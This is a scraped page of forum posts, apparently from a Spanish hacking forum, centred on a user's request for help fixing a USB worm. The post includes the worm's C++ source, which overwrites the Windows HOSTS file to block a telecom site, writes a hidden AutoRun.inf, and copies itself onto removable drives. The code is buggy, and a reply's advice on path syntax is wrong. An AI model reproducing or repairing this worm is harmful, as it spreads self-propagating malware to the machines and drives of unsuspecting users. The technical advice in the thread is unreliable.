Si a google lo dirigiera el tipo de gente que dirige a Microsoft o a Nokia seguramente sí, pero estamos hablando de una compañía con gente inteligente a la cabeza
.
Saludos
.Saludos
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
.Cita de: skapunky en 21 Julio 2011, 11:02 AM
Mirando por encima...Porque para definir las rutas de los arcvihos utilizas \\ ????? mira esto es lo que pones:strcat(hst, "\\Drivers\\ETC\\HOSTS");
..
strcat(dirX, "\\");
..
CreAut<<"shell\\Auto\\command=gusano.exe"<<endl;
Si defines las rutas con esos palítos ni se copiará ni funcionará nunca en windows las rutas se defínen de la siguiente forma por ejemplo:
c:/window/system32
Cita de: claudiog_14 en 20 Julio 2011, 10:01 AM
hola a todos estoy de vuelta mi pregunta es que estoy haciendo mal por que no me esta infectando el usb este es mi codigo espero me puedan giar#include <cstdlib>
#include <iostream>
#include <windows.h>
#include<fstream>
#define PROCESSNAME "gusano.exe" //nombre del proceso
using namespace std;
char me[1024];
HKEY hKey;
char *drives[] = {"C:","D:","E:","F:","G:","H:","I:","J:","K:","L:",
"M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:",
"W:","X:","Y:","Z:"};
void hst(void)
{
char hst[MAX_PATH];
DWORD byte;
HANDLE hFile;
BOOL bSuccess;
GetSystemDirectory(hst, sizeof(hst));
strcat(hst, "\\Drivers\\ETC\\HOSTS");
const char* buffer = "127.0.0.1 www.entel.bo";
hFile = CreateFile(hst, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
bSuccess = WriteFile ( hFile, buffer, strlen(buffer), &byte, NULL);
CloseHandle(hFile);
}
//busqueda e infeccion del usb
int FindDrv()
{
char *drives;
char dirX[MAX_PATH];
char path[MAX_PATH];
char autorun[MAX_PATH]="AutoRun.inf";
ofstream CreAut;
HMODULE GetQ;
GetQ=GetModuleHandle(NULL);
GetModuleFileName(GetQ,path,sizeof(path));
CreAut.open(dirX,ios_base::out);
CreAut<<"[AutoRun]"<<endl;
CreAut<<"open=gusano.exe"<<endl;
CreAut<<"shellexecute=gusano.exe"<<endl;
CreAut<<"shell\\Auto\\command=gusano.exe"<<endl;
CreAut<<"shell=Auto"<<endl;
CreAut.close();
SetFileAttributes(dirX,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_READONLY);
UINT type= GetDriveType(drives);
if(type == DRIVE_REMOVABLE)
{
strcpy(dirX, drives);
strcat(dirX, "\\");
strcat(dirX, "gusano.exe");
CopyFile(path,dirX,TRUE);
return 0;
}
return 0;
}
int main(int argc, char *argv[])
{
hst();
FindDrv();
system("PAUSE");
// ShellExecute(NULL,"open", PROCESSNAME, NULL, NULL, 0);
return EXIT_SUCCESS;
}
http://foro.elhacker.net/analisis_y_diseno_de_malware/srcc_infeccion_usb-t258426.0.htmlCita de: juanplaz en 15 Julio 2011, 23:46 PM
The_wash esta re-inventando la rueda, hace rato que viene rehaciendo los tutoriales y codigos que ya estan hechos.